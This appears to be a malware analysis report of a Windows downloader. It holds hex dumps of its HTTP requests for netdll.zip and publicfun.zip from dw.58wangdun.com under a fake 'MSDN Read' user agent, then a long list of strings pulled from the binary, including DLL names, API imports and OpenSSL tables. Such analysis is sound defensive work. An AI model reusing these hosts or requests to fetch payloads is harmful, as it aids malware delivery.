0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f736633 2f6e6574 646c6c2e   GET /sf3/netdll.
0x00000010 (00016)   7a697020 48545450 2f312e31 0d0a5573   zip HTTP/1.1..Us
0x00000020 (00032)   65722d41 67656e74 3a204d53 444e2052   er-Agent: MSDN R
0x00000030 (00048)   6561640d 0a486f73 743a2064 772e3538   ead..Host: dw.58
0x00000040 (00064)   77616e67 64756e2e 636f6d0d 0a436163   wangdun.com..Cac
0x00000050 (00080)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000060 (00096)   61636865 0d0a0d0a d8aea6e5 f57f       ache..........

0x00000000 (00000)   47455420 2f736633 2f707562 6c696366   GET /sf3/publicf
0x00000010 (00016)   756e2e7a 69702048 5454502f 312e310d   un.zip HTTP/1.1.
0x00000020 (00032)   0a557365 722d4167 656e743a 204d5344   .User-Agent: MSD
0x00000030 (00048)   4e205265 61640d0a 486f7374 3a206477   N Read..Host: dw
0x00000040 (00064)   2e353877 616e6764 756e2e63 6f6d0d0a   .58wangdun.com..
0x00000050 (00080)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000060 (00096)   6f2d6361 6368650d 0a0d0a37 204a616e   o-cache....7 Jan
0x00000070 (00112)   20323031 35203036 3a31373a 30392047    2015 06:17:09 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.


Strings
1.
.CC 
0
000-+ 
...
.
-E-
-0
-0010+-0
0
-0
00.
...........?- 
0
0
0
0
...(u

/../
/..\
\../
\..\
 	0	 
080404b0
14, 10, 1, 3
Code
Config
Copyright (C) V 2014
D0DHD`DxD
DHD`D0D
.dll
dw.58wangdun.com
Error
.exe
FileDescription
FileVersion
                                 H
         (((((                  H
         h((((                  H
INITMain
Intel Hardware Cryptographic Service Provider
jjjj
jjjjj
KERNEL32.DLL
LanmanServer
LanmanWorkstation
LegalCopyright
log.dat
lpk.
MAINPRO.exe
mainx_0003
mscoree.dll
MSDN Read
NetDLL.dll
Netdll is Invald
(null)
ProductName
ProductVersion
pStartGOTO is Invald
PublicFun.dll
rrtt5328
Service-0x
%s%s
StringFileInfo
Test
Translation
usp10.
VarFileInfo
VS_VERSION_INFO
xINITMain
yy6677823
.zpp
< <$<(<,<
                          
? ?@?\?`?
....................
									
0 0@0`0
0 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
0 0$00080<0H0P0T0`0h0l0x0
0(00040@0H0L0X0`0d0p0x0|0
0(00040@0H0L0X0x0|0
0 0(0,080@0D0P0X0\0h0p0t0
0 0$0@0p0|0
0%0-0M0_0e0z0
0=0D0H0L0P0T0X0\0`0
0%0G0R0Z0g0y0
/0<0O0
0'111I1P1Z1b1o1v1
0<1@1D1H1L1P1T1X1\1`1d1h1l1p1
0123456789ABCDEF
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
0-131W1z1
0(1G1W1]1m1s1
>'>,>0>4>]>
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=<=@=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
 :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
; ;$;(;,;0;4;8;<;@;P;X;\;`;d;h;l;p;t;x;|;
<(<0<4<@<H<L<X<`<d<p<x<|<
=(=0=4=@=H=L=X=`=d=p=x=|=
>(>0>4>@>H>L>X>`>d>p>x>|>
;(;0;4;@;H;L;X;`;d;p;x;|;
:(:0:4:@:H:L:X:`:d:p:x:|:
?(?0?4?@?H?L?X?`?d?p?x?|?
:0:4:H:L:X:`:d:x:|:
060H0[0m0
0870b7fa5946c404
;0;8;@;H;L;T;h;p;
< <$<0<8<<<H<P<T<`<h<l<x<
= =$=0=8=<=H=P=T=`=h=l=x=
> >$>0>8><>H>P>T>`>h>l>x>
> >$>0>8><>H>P>T>h>l>x>
; ;$;0;8;<;H;P;T;`;h;l;x;
: :$:0:8:<:H:P:T:`:h:l:x:
? ?$?0?8?<?H?P?T?`?h?l?x?
0A@@Ju
0bda0108a7b3e3c5f916c213ee516eaab039aae7bc8535db3c7723e53ec65aae
0H0N0Z0
=,=0=L=P=p=
0M2Y2_2d2j2
>0>P>p>|>
#0Q2U2Y2]2a2e2i2m2%3!494]4m7
0SSSSS
 0t0x0|0
0WWWWW
10b0x0
1(10141@1H1L1X1`1d1p1x1|1
1 1$10181<1H1P1T1`1h1l1x1
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
1 1(1,181@1D1P1X1\1h1p1t1
1'111A1q1
1(1-1:2o2
1!1/141O1a1l1
1 1$181<1P1T1`1h1l1x1
1 1(1D1T1\1h1
1%1,1E1Y1_1h1{1
  ##%%&&))**,,//1122447788;;==>>@@CCEEFFIIJJLLOOQQRRTTWWXX[[]]^^aabbddgghhkkmmnnppssuuvvyyzz||
1&181n1x1
1&1M1g1w1
1*252c2q2z2
1#2A2U2g2
1!323l3y3
142T2b2g2
?'?1?E?O?]?
: :1:@:N:U:x:
="=1=@=O=Y=f=
1#QNAN
1#SNAN
2(20242@2H2L2X2`2d2p2x2|2
2 2$20282<2H2P2T2`2h2l2x2
2 2$2(2,2024282<2@2D2H2L2P2T2X2\2`2d2h2l2p2t2x2|2
2 2(2,2@2D2X2\2p2t2
2 2(2,282@2D2P2X2\2h2p2t2
2,2<2L2f2v2
2#2H2L2P2T2
232f2l2t2
2%333z3
2.3;3c3
2"3|879
2+3D3K3_3
2590553b765911f6610b63c3630b6eac
2621dcdcaff506e67bff18635a05fc86
282D2d2p2
282T2p2
:$:,:2:9:?:F:L:T:[:`:h:q:}:
2L2P2T2X2\2`2d2h2l2p2t2
2R2[2{2
="=)=2=r=w=
2X3#5P5p5
<)<3<=<
|$ 3\$<
|$@3|$<
|$@3\$
\$ 3|$,
#\$<@3
|$@3|$0
3|$03\$
30353;3@3i3o3{3
3|$03l$
304fe1bbfd69ad737bff18635a05fc86
30N0a0i0s0x0
3|$$3\$
3(30343@3H3L3X3`3d3p3x3|3
3 3$30383<3H3P3T3`3h3l3x3
3 3$3(3,30343~3
3 3$3(3,3034383<3@3D3H3L3P3T3p3
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
3 3(3,383@3D3P3X3\3h3p3t3
3$3,343<3D3L3T3\3h3
3 3$383<3H3P3T3`3h3l3x3
3 3:3B3]3e3|3
3 3+3N3g3
3(363R3b3k3
3+383D3T3[3j3v3
3.3e3v304
3|$,3l$
3|$,3|$P
3|$<3T$L
34061421c938e31169e857257abcdaba
3	424O4Z4q4
3|$43\$
3|$43|$P
343P3l3
3(4,404<4@4p4t4x4
3	4 4&494
3	4<4@4D4H4L4P4T4X4\4`4d4h4l4p4
3}4M7d7
3|$83|$L3|$$
3a537c0a1dda0746ebc9aee7e3ef6e9bc28b1ea22ec08911
3B3Z3d3i3o3y3
3D$ 3L$$
3ed65f6cbfb998188dc0c0431a04c215b36093c7473b8cfd
3ed65f6cbfb99818913389da14cf82e7d585b6c8cacbe79d
3ed65f6cbfb998189f169d76dcd54fb4d585b6c8cacbe79d
3ed65f6cbfb99818adc16c983f5e0b27
3|$H#l$
|$<3l$
3l$ @@
\$ 3|$L
3L3j3?4k4
3L$(3L$D3L$,
3L$43L$$
3l$L#D$L#l$
3l$L#L$L#l$
3L$T3T$D3L$83T$H3L$<3t$X
3P4Y4_4
3t$03L$@3t$43L$D
3t$$3\$ 
3t$,3l$d
3t$43T$D
3t$4#l$ 3t$$3l$d
\$ 3t$H
3t$H#|$d
|$ 3t$P
3T$x3|$|3
3t$X3T$@3t$0
404 - 
404L4h4
{4_^]3
4(40444@4H4L4X4`4d4p4x4|4
4(404=4[4e4n4y4
4 4$40484<4H4P4T4`4h4l4x4
4#4(4,404Q4{4
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
4 4(4,484@4D4P4X4\4h4p4t4
4 4$484<4P4T4h4l4
4#4+484i4z4
4#4G4~4
4@4H4L4d4h4
4?4N4W4{4
: :$:4:8:<:D:\:
495R5j5p5
4B4W4a4|4
=%=4=B=P=!>7>E>K>Q>a>g>m>s>
<(<4<P<p<
525=5C5I5N5W5t5z5
5(50545@5H5L5X5`5d5p5x5|5
5 505@5D5P5`5
5 5$50585<5H5P5T5`5h5l5x5
5 5$5(5,5054585
5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|5
5 5$5(5,5y6
5 5(5,585@5D5P5X5\5h5p5t5
5-5:5?5M5(6K6V6y6
5+5=5O5a5s5$7
5,5\5y5
5%5w5}5
5 666^6{6
5C6R6j6r6	7
?'?5?C?Q?_?m?{?
5d0741d146ea90d60471c3602a4842d2
5J5f5t5
5X5\5`5d5h5
63[4]5mm]5\]m]mm5\mm5555555\\\5\\\5m\55\\5ed:
636R6_6q6z6~6
6(60646@6H6L6X6`6d6p6x6|6
6(60646@6H6L6X6`6d6x6|6
6+616B6
6 6$60686<6H6P6T6`6h6l6x6
6 6$6(6,6064686
6 6$6(6,6064686<6@6D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6
6 6(6,686@6D6P6X6\6h6p6t6
6"6)6=6D6k6q6|6
6"6-686C6N6Y6d6
6)676w6
6=6H6~6
=.=6=;=H=X=
=6>P>g?
7(70747@7H7L7X7`7d7p7x7|7
7+717?7E7K7b7l7
7'727=7b7v7
7-737?7E7R7\7c7{7
7 7$70787<7H7P7T7`7h7l7x7
7 7$7(7,7074787<7@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
7 7(7,787@7D7P7X7\7h7p7t7
7(787H7X7|7
7(797U7s7
7'7C7L7R7[7`7o7
7<8@8D8H8L8P8T8
7;8A8V8[8a8
7<8B8l8r8
7\8d8|8
7)8L8Q8
7 9P:T:X:\:`:d:h:l:p:t:x:|:
7bc69fc397b3d49d19f03b2d087dfcca
7E7S7_7
7L889w:
:%;7;Q;~;
7X>\>`>d>h>l>p>t>x>|>
|$8#|$
|$83|$(
8_^][3
8(80848@8H8L8X8`8d8p8x8|8
8 8$80888<8H8P8T8`8h8l8x8
8 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
8 8(8,888@8D8P8X8\8h8p8t8
8#8A8c8t8
8,8K8r8
8?9E9Z9c9
8D9H9X9\9d9|9
8dc0c0431a04c215b36093c7473b8cfd
< <(<,<8<@<D<P<X<\<h<p<t<
= =(=,=8=@=D=P=X=\=h=p=t=
> >(>,>8>@>D>P>X>\>h>p>t>
; ;(;,;8;@;D;P;X;\;h;p;t;
: :(:,:8:@:D:P:X:\:h:p:t:
? ?(?,?8?@?D?P?X?\?h?p?t?
8F9i9s9
= =$=8=<=H=P=T=`=h=l=x=
; ;$;8;<;H;P;T;`;h;l;x;
8L8[8i8
8N9#:1:
8S9e9w9
> >$>8>T>X>l>
:8:]:u:
8VVVVV
9(:,:0:4:8:
9\$4taV
9(90949@9H9L9X9`9d9p9x9|9
9#949W9e9o9{9Q:]:o:w:{:
9 9$90989<9H9P9T9`9h9l9x9
9 9(9,989@9D9P9X9\9h9p9t9
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
9B:J:]:h:m:}:
<"</<9<C<O<|<
; ;/;9;F;c;p;
>9>F>x>
9\$(tEh
9t$Lt"jWh
9\$ tw
9.u	^]3
=+>A>[>
aaControls
AAFFf;
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
ac-auditEntity
Acceptable OCSP Responses
acceptableResponses
account
ac-proxying
ac-targeting
additional verification
ad dvcs
AD_DVCS
ad_timestamping
AD Time Stamping
ADVAPI32.dll
ADVAPI32.DLL
aes-128-cbc
AES-128-CBC
aes-128-cfb
AES-128-CFB
aes-128-cfb1
AES-128-CFB1
aes-128-cfb8
AES-128-CFB8
aes-128-ecb
AES-128-ECB
aes-128-ofb
AES-128-OFB
aes-192-cbc
AES-192-CBC
aes-192-cfb
AES-192-CFB
aes-192-cfb1
AES-192-CFB1
aes-192-cfb8
AES-192-CFB8
aes-192-ecb
AES-192-ECB
aes-192-ofb
AES-192-OFB
aes-256-cbc
AES-256-CBC
aes-256-cfb
AES-256-CFB
aes-256-cfb1
AES-256-CFB1
aes-256-cfb8
AES-256-CFB8
aes-256-ecb
AES-256-ECB
aes-256-ofb
AES-256-OFB
<!<A<K<i<x<
algorithm
algorithms
An application has made an attempt to load the C runtime library incorrectly.
ansi-X9-62
ANSI X9.62
Any language
anyPolicy
archiveCutoff
aRecord
ASN1_ANY
ASN1_BIT_STRING
ASN1_BMPSTRING
ASN1_BOOLEAN
ASN1_ENUMERATED
ASN1_FBOOLEAN
ASN1_GENERALIZEDTIME
ASN1_GENERALSTRING
ASN1_IA5STRING
ASN1_INTEGER
ASN1_NULL
ASN1_OBJECT
ASN1_OCTET_STRING
ASN1_OCTET_STRING_NDEF
ASN.1 part of OpenSSL 0.9.8y 5 Feb 2013
ASN1_PRINTABLE
ASN1_PRINTABLESTRING
ASN1_SEQUENCE
ASN1_T61STRING
ASN1_TBOOLEAN
ASN1_UNIVERSALSTRING
ASN1_UTCTIME
ASN1_UTF8STRING
ASN1_VISIBLESTRING
</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADD
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
associatedDomain
associatedName
<at9<rt,<wt
- Attempt to initialize the CRT more than once.
- Attempt to use MSIL code from this assembly during native code initialization
August
authorityInfoAccess
Authority Information Access
authorityKeyIdentifier
authorityRevocationList
.?AVbad_alloc@std@@
.?AVbad_exception@std@@
.?AVCAtlException@ATL@@
.?AVexception@std@@
.?AVtype_info@@
;A<X<o<
B0U0f0
bad allocation
bad exception
 Base Class Array'
 Base Class Descriptor at (
__based(
basicConstraints
basicOCSPResponse
Basic OCSP Response
bf-cbc
BF-CBC
bf-cfb
BF-CFB
bf-ecb
BF-ECB
bf-ofb
BF-OFB
Big Number part of OpenSSL 0.9.8y 5 Feb 2013
biometricInfo
Biometric Info
:,:;:B:l:
bl <= (int)sizeof(ctx->buf)
b <= sizeof ctx->final
buffer error
buildingName
businessCategory
<:<B<W<]<c<i<o<u<|<
:":B:Z:b:
c2onb191v4
c2onb191v5
c2onb239v4
c2onb239v5
c2pnb163v1
c2pnb163v2
c2pnb163v3
c2pnb176v1
c2pnb208w1
c2pnb272w1
c2pnb304w1
c2pnb368w1
c2tnb191v1
c2tnb191v2
c2tnb191v3
c2tnb239v1
c2tnb239v2
c2tnb239v3
c2tnb359v1
c2tnb431r1
cACertificate
caIssuers
CA Issuers
camellia-128-cbc
CAMELLIA-128-CBC
camellia-128-cfb
CAMELLIA-128-CFB
camellia-128-cfb1
CAMELLIA-128-CFB1
camellia-128-cfb8
CAMELLIA-128-CFB8
camellia-128-ecb
CAMELLIA-128-ECB
camellia-128-ofb
CAMELLIA-128-OFB
camellia-192-cbc
CAMELLIA-192-CBC
camellia-192-cfb
CAMELLIA-192-CFB
camellia-192-cfb1
CAMELLIA-192-CFB1
camellia-192-cfb8
CAMELLIA-192-CFB8
camellia-192-ecb
CAMELLIA-192-ECB
camellia-192-ofb
CAMELLIA-192-OFB
camellia-256-cbc
CAMELLIA-256-CBC
camellia-256-cfb
CAMELLIA-256-CFB
camellia-256-cfb1
CAMELLIA-256-CFB1
camellia-256-cfb8
CAMELLIA-256-CFB8
camellia-256-ecb
CAMELLIA-256-ECB
camellia-256-ofb
CAMELLIA-256-OFB
caRepository
CA Repository
caseIgnoreIA5StringSyntax
cast5-cbc
CAST5-CBC
cast5-cfb
CAST5-CFB
cast5-ecb
CAST5-ECB
cast5-ofb
CAST5-OFB
__cdecl
certBag
certicom-arc
certificate extensions
certificateIssuer
certificatePolicies
certificateRevocationList
challengePassword
characteristic-two-field
 Class Hierarchy Descriptor'
clearance
cleartext track 2
clientAuth
CloseHandle
CloseToolhelp32Snapshot
__clrcall
;=;C;L;S;$<:<
cNAMERecord
codeSigning
Code Signing
commonName
 Complete Object Locator'
CONOUT$
contentType
content types
`copy constructor closure'
CorExitProcess
countersignature
countryName
cOXY/P.Z0.0.QR00/ZPP0000000/0PPZR.BI@/DE0,
CreateFileA
CreateFileW
CreateMutexW
CreateThread
CreateToolhelp32Snapshot
crlBag
crlDistributionPoints
crlNumber
CRLReason
crossCertificatePair
- CRT not initialized
CryptAcquireContextW
CryptGenRandom
.\crypto\asn1\a_bitstr.c
.\crypto\asn1\a_int.c
.\crypto\asn1\a_object.c
.\crypto\asn1\asn1_lib.c
.\crypto\asn1\tasn_dec.c
.\crypto\asn1\tasn_enc.c
.\crypto\asn1\tasn_new.c
.\crypto\asn1\tasn_utl.c
.\crypto\bio\bss_file.c
.\crypto\buffer\buffer.c
cryptocom
.\crypto\engine\eng_init.c
.\crypto\engine\eng_lib.c
.\crypto\engine\eng_table.c
.\crypto\engine\tb_cipher.c
.\crypto\engine\tb_digest.c
.\crypto\err\err.c
.\crypto\err\err_def.c
.\crypto\evp\digest.c
.\crypto\evp\enc_min.c
.\crypto\evp\evp_enc.c
.\crypto\ex_data.c
.\crypto\lhash\lhash.c
.\crypto\objects\obj_dat.c
cryptopro
@@.\crypto\rand\md_rand.c
.\crypto\rsa\rsa_sign.c
.\crypto\stack\stack.c
CryptReleaseContext
CSPName
ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16
ctx->digest->md_size <= EVP_MAX_MD_SIZE
D$ _[^]
D$03\$$3D$(
\$d3|$
\$d3|$<
\$d3|$(
|$d3L$P
\$d3T$P
D$4_^]
D$4h(VD
D$4PQR
D$4QRP
D7q/;M
@.data
data error
dcobject
dcObject
D$<@;D$,
D$ )D$,
D$,+D$
D$()D$$
dddd, MMMM dd, yyyy
D$DPQRV
December
DecodePointer
`default constructor closure'
 delete
 delete[]
DeleteCriticalSection
DeleteFileW
deltaCRL
deltaRevocationList
DeregisterEventSource
des-cbc
DES-CBC
des-cdmf
DES-CDMF
des-cfb
DES-CFB
des-cfb1
DES-CFB1
des-cfb8
DES-CFB8
description
des-ecb
DES-ECB
des-ede
DES-EDE
des-ede3
DES-EDE3
des-ede3-cbc
DES-EDE3-CBC
des-ede3-cfb
DES-EDE3-CFB
des-ede3-cfb1
DES-EDE3-CFB1
des-ede3-cfb8
DES-EDE3-CFB8
des-ede3-ofb
DES-EDE3-OFB
des-ede-cbc
DES-EDE-CBC
des-ede-cfb
DES-EDE-CFB
des-ede-ofb
DES-EDE-OFB
des-ofb
DES-OFB
destinationIndicator
desx-cbc
DESX-CBC
dhKeyAgreement
D$HSPSV
D$(h(VD
Diffie-Hellman based MAC
digest
directory
Directory
directory services - algorithms
directory services (X.500)
DIRECTORYSTRING
DISPLAYTEXT
distinguishedName
dITRedirect
="=(=.=D=K=k=t=
DldmdName
dnQualifier
dNSDomain
document
documentAuthor
documentIdentifier
documentLocation
documentPublisher
documentSeries
documentTitle
documentVersion
domain
Domain
domainComponent
DOMAIN error
domainRelatedObject
D:\OutMyFile\
\DownDLLGoto.pdb
D$$PQR
D$@PQV
D$ PUSQ
D$ RPWUV
|$DrtTh
dsaEncryption
dsaEncryption-old
DSA-old
dSAQuality
DSA-SHA
DSA-SHA1
DSA-SHA1-old
dsaWithSHA
dsaWithSHA1
dsaWithSHA1-old
dsa_with_SHA224
dsa_with_SHA256
D$(SUV
D$$SUV
>(>,>@>D>X>\>p>t>
`dynamic atexit destructor for '
`dynamic initializer for '
ecdsa-with-Recommended
ecdsa-with-SHA1
ecdsa-with-SHA224
ecdsa-with-SHA256
ecdsa-with-SHA384
ecdsa-with-SHA512
ecdsa-with-Specified
`eh vector constructor iterator'
`eh vector copy constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`eh vector vbase copy constructor iterator'
emailAddress
emailProtection
E-mail Protection
empty distance tree with lengths
EncodePointer
encrypted track 2
enhancedSearchGuide
EnterCriticalSection
enterprises
Enterprises
EnumWindows
<e=q=}>H?M?_?}?
EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv)
EVP part of OpenSSL 0.9.8y 5 Feb 2013
ExitProcess
experimental
Experimental
extendedCertificateAttributes
extendedKeyUsage
Extended OCSP Status
extendedStatus
Extension Request
extReq
<&<;<F<
facsimileTelephoneNumber
__fastcall
favouriteDrink
fbdc1de31856c55bfc1472322368c118e969a8f1fc96ee4f13aa03081dcebd5cf8f95d9fa552ef65
fbdc1de31856c55bfc1472322368c118e969a8f1fc96ee4f1c972b5de85df5da0212ccfa1cd0bd42ef47b65f4cef8630
fbdc1de31856c55bfc1472322368c118e969a8f1fc96ee4f6418767949015cc61f2775f0e36e795925a981bc531aa7fa
fbdc1de31856c55bfc1472322368c118e969a8f1fc96ee4f6418767949015cc68e29e69cf465ca2825c01465c1c1f2d4
February
fef6692cf57b356133f85150a324e894
Field=
file error
FILE pointer
FindResourceExW
FindResourceW
- floating point support not loaded
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
FlushFileBuffers
fopen('
FP;FTt
FreeEnvironmentStringsW
FreeLibrary
freshestCRL
Friday
friendlyCountry
friendlyCountryName
friendlyName
@$g&3g
GAIsProcessorFeaturePresent
generate cryptogram
generationQualifier
generic cryptogram
GetACP
GetActiveWindow
GetCommandLineW
GetConsoleCP
GetConsoleMode
GetConsoleOutputCP
GetCPInfo
GetCurrentDirectoryW
GetCurrentProcess
GetCurrentProcessId
GetCurrentThreadId
GetCursorInfo
GetDesktopWindow
GetEnvironmentStringsW
GetFileType
GetForegroundWindow
GetLastActivePopup
GetLastError
GetLocaleInfoA
GetModuleFileNameA
GetModuleFileNameExW
GetModuleFileNameW
GetModuleHandleA
GetModuleHandleW
GetOEMCP
GetPrivateProfileIntW
GetPrivateProfileStringW
GetProcAddress
GetProcessHeap
GetProcessWindowStation
@GetQueueStatus
GetStartupInfoA
GetStartupInfoW
GetStdHandle
GetStringTypeA
GetStringTypeW
GetSystemTimeAsFileTime
GetTickCount
GetUserObjectInformationA
GetUserObjectInformationW
GetVersion
GetVersionExA
GetWindowThreadProcessId
givenName
GlobalMemoryStatus
gost2001
gost2001cc
GOST 28147-89
GOST 28147-89 Cryptocom ParamSet
GOST 28147-89 MAC
GOST 34.10-2001 Cryptocom
GOST 34.10-94 Cryptocom
gost89
gost89-cnt
gost94
gost94cc
gost-mac
GOST R 34.10-2001
GOST R 34.10-2001 DH
GOST R 3410-2001 Parameter Set Cryptocom
GOST R 34.10-94
GOST R 34.10-94 DH
GOST R 34.11-94
GOST R 34.11-94 PRF
GOST R 34.11-94 with GOST R 34.10-2001
GOST R 34.11-94 with GOST R 34.10-2001 Cryptocom
GOST R 34.11-94 with GOST R 34.10-94
GOST R 34.11-94 with GOST R 34.10-94 Cryptocom
;,;g;w;
="===G=x=
`h````
Heap32First
Heap32ListFirst
Heap32ListNext
Heap32Next
HeapAlloc
HeapCreate
HeapDestroy
HeapFree
HeapReAlloc
HeapSize
`h`hhh
HH:mm:ss
HHtXHHt
?(?H?L?X?
HMAC GOST 34.11-94
hmac-md5
HMAC-MD5
hmac-sha1
HMAC-SHA1
hmacWithMD5
hmacWithSHA1
hmacWithSHA224
hmacWithSHA256
hmacWithSHA384
hmacWithSHA512
holdInstructionCallIssuer
Hold Instruction Call Issuer
holdInstructionCode
Hold Instruction Code
holdInstructionNone
Hold Instruction None
holdInstructionReject
Hold Instruction Reject
homePostalAddress
homeTelephoneNumber
houseIdentifier
H QRV3
I3')+*+)))*))()*+++,6J!54 CBA
iA5StringSyntax
ICC or token signature
id-aca
id-aca-accessIdentity
id-aca-authenticationInfo
id-aca-chargingIdentity
id-aca-encAttrs
id-aca-group
id-aca-role
id-aes128-wrap
id-aes192-wrap
id-aes256-wrap
id-alg
id-alg-des40
id-alg-dh-pop
id-alg-dh-sig-hmac-sha1
id-alg-noSignature
id-cct
id-cct-crs
id-cct-PKIData
id-cct-PKIResponse
id-characteristic-two-basis
id-cmc
id-cmc-addExtensions
id-cmc-confirmCertAcceptance
id-cmc-dataReturn
id-cmc-decryptedPOP
id-cmc-encryptedPOP
id-cmc-getCert
id-cmc-getCRL
id-cmc-identification
id-cmc-identityProof
id-cmc-lraPOPWitness
id-cmc-popLinkRandom
id-cmc-popLinkWitness
id-cmc-queryPending
id-cmc-recipientNonce
id-cmc-regInfo
id-cmc-responseInfo
id-cmc-revokeRequest
id-cmc-senderNonce
id-cmc-statusInfo
id-cmc-transactionId
id-ct-asciiTextWithCRLF
id-DHBasedMac
idea-cbc
IDEA-CBC
idea-cfb
IDEA-CFB
idea-ecb
IDEA-ECB
idea-ofb
IDEA-OFB
id-ecPublicKey
identified-organization
id-Gost28147-89-cc
id-Gost28147-89-CryptoPro-A-ParamSet
id-Gost28147-89-CryptoPro-B-ParamSet
id-Gost28147-89-CryptoPro-C-ParamSet
id-Gost28147-89-CryptoPro-D-ParamSet
id-Gost28147-89-CryptoPro-KeyMeshing
id-Gost28147-89-CryptoPro-Oscar-1-0-ParamSet
id-Gost28147-89-CryptoPro-Oscar-1-1-ParamSet
id-Gost28147-89-CryptoPro-RIC-1-ParamSet
id-Gost28147-89-None-KeyMeshing
id-Gost28147-89-TestParamSet
id-GostR3410-2001-CryptoPro-A-ParamSet
id-GostR3410-2001-CryptoPro-B-ParamSet
id-GostR3410-2001-CryptoPro-C-ParamSet
id-GostR3410-2001-CryptoPro-XchA-ParamSet
id-GostR3410-2001-CryptoPro-XchB-ParamSet
id-GostR3410-2001DH
id-GostR3410-2001-ParamSet-cc
id-GostR3410-2001-TestParamSet
id-GostR3410-94-a
id-GostR3410-94-aBis
id-GostR3410-94-b
id-GostR3410-94-bBis
id-GostR3410-94-CryptoPro-A-ParamSet
id-GostR3410-94-CryptoPro-B-ParamSet
id-GostR3410-94-CryptoPro-C-ParamSet
id-GostR3410-94-CryptoPro-D-ParamSet
id-GostR3410-94-CryptoPro-XchA-ParamSet
id-GostR3410-94-CryptoPro-XchB-ParamSet
id-GostR3410-94-CryptoPro-XchC-ParamSet
id-GostR3410-94DH
id-GostR3410-94-TestParamSet
id-GostR3411-94-CryptoProParamSet
id-GostR3411-94-TestParamSet
id-GostR3411-94-with-GostR3410-2001
id-GostR3411-94-with-GostR3410-2001-cc
id-GostR3411-94-with-GostR3410-94
id-GostR3411-94-with-GostR3410-94-cc
id-hex-multipart-message
id-hex-partial-message
id-HMACGostR3411-94
id-it-caKeyUpdateInfo
id-it-caProtEncCert
id-it-confirmWaitTime
id-it-currentCRL
id-it-encKeyPairTypes
id-it-implicitConfirm
id-it-keyPairParamRep
id-it-keyPairParamReq
id-it-origPKIMessage
id-it-preferredSymmAlg
id-it-revPassphrase
id-it-signKeyPairTypes
id-it-subscriptionRequest
id-it-subscriptionResponse
id-it-suppLangTags
id-it-unsupportedOIDs
id-mod-attribute-cert
id-mod-cmc
id-mod-cmp
id-mod-cmp2000
id-mod-crmf
id-mod-dvcs
id-mod-kea-profile-88
id-mod-kea-profile-93
id-mod-ocsp
